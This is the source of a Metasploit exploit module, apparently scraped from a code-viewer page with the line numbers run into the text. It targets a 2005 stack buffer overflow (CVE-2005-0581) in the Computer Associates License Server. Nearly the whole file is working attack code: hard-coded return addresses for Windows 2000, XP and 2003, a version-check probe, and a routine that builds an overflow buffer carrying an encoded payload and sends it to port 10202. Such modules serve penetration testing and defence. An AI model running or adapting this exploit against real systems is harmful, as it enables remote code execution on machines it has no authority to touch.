Path: blob/master/modules/exploits/windows/license/calicserv_getconfig.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Computer Associates License Server GETCONFIG Overflow',15'Description' => %q{16This module exploits an vulnerability in the CA License Server17network service. By sending an excessively long GETCONFIG18packet the stack may be overwritten.19},20'Author' => [21'hdm', # original msf v2 module22'aushack', # msf v3 port :)23],24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '2005-0581' ],27[ 'OSVDB', '14389' ],28[ 'BID', '12705' ],29[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=213' ],30],31'Privileged' => true,32'DefaultOptions' => {33'EXITFUNC' => 'process',34},35'Payload' => {36'Space' => 600,37'BadChars' => "\x00\x20",38'StackAdjustment' => -3500,3940},41'Platform' => 'win',42'Targets' => [43# As much as I would like to return back to the DLL or EXE,44# all of those modules have a leading NULL in the45# loaded @ address :(46# name, jmp esi, writable, jmp edi47# ['Automatic', {} ],48#49# aushack - tested OK Windows XP English SP0-1 only 2010021450['Windows 2000 English', { 'Rets' => [ 0x750217ae, 0x7ffde0cc, 0x75021421 ] } ], # ws2help.dll esi + peb + edi51['Windows XP English SP0-1', { 'Rets' => [ 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8 ] } ], # ws2help.dll esi + peb + edi52['Windows XP English SP2', { 'Rets' => [ 0x71aa1b22, 0x71aa5001, 0x71aa1e08 ] } ], # ws2help.dll esi + .data + edi53['Windows 2003 English SP0', { 'Rets' => [ 0x71bf175f, 0x7ffde0cc, 0x71bf1a2c ] } ], # ws2help.dll esi + peb + edi54],55'DisclosureDate' => '2005-03-02',56'Notes' => {57'Reliability' => UNKNOWN_RELIABILITY,58'Stability' => UNKNOWN_STABILITY,59'SideEffects' => UNKNOWN_SIDE_EFFECTS60}61)62)6364register_options(65[66Opt::RPORT(10202),67]68)69end7071def check72connect73banner = sock.get_once74sock.put("A0 GETCONFIG SELF 0<EOM>")75res = sock.get_once || ''76disconnect77if (res =~ /OS\<([^\>]+)/)78vprint_status("CA License Server reports OS: #{$1}")79return Exploit::CheckCode::Detected80end81return Exploit::CheckCode::Safe82end8384def exploit85connect86banner = sock.get_once87if (banner !~ /GETCONFIG/)88print_status("The server did not return the expected greeting!")89end9091# exploits two different versions at once >:-)92# 144 -> return address of esi points to string middle93# 196 -> return address of edi points to string beginning94# 148 -> avoid exception by patching with writable address95# 928 -> seh handler (not useful under XP SP2)96buff = rand_text_alphanumeric(900)97buff[142, 2] = Rex::Arch::X86.jmp_short(8) # jmp over addresses98buff[144, 4] = [target['Rets'][0]].pack('V') # jmp esi99buff[148, 4] = [target['Rets'][1]].pack('V') # writable address100buff[194, 2] = Rex::Arch::X86.jmp_short(4) # jmp over address101buff[196, 4] = [target['Rets'][2]].pack('V') # jmp edi102buff[272, payload.encoded.length] = payload.encoded103104sploit = "A0 GETCONFIG SELF #{buff}<EOM>"105sock.put(sploit)106107handler108disconnect109end110end111112=begin113eTrust: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.2>OLFFILE<0 0 0>SERVER<RMT>VERSION<0 1.61.0>NETWORK<192.168.3.22 unknown 255.255.255.0>MACHINE<PC_686_1_2084>CHECKSUMS<0 0 0 0 0 0 0 00 0 0 0>RMTV<1.3.1><EOM>114BrightStor: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>115lic98rmt.exe v0.1.0.15: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.61.0>NETWORK<192.168.139.128 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>116=end117118119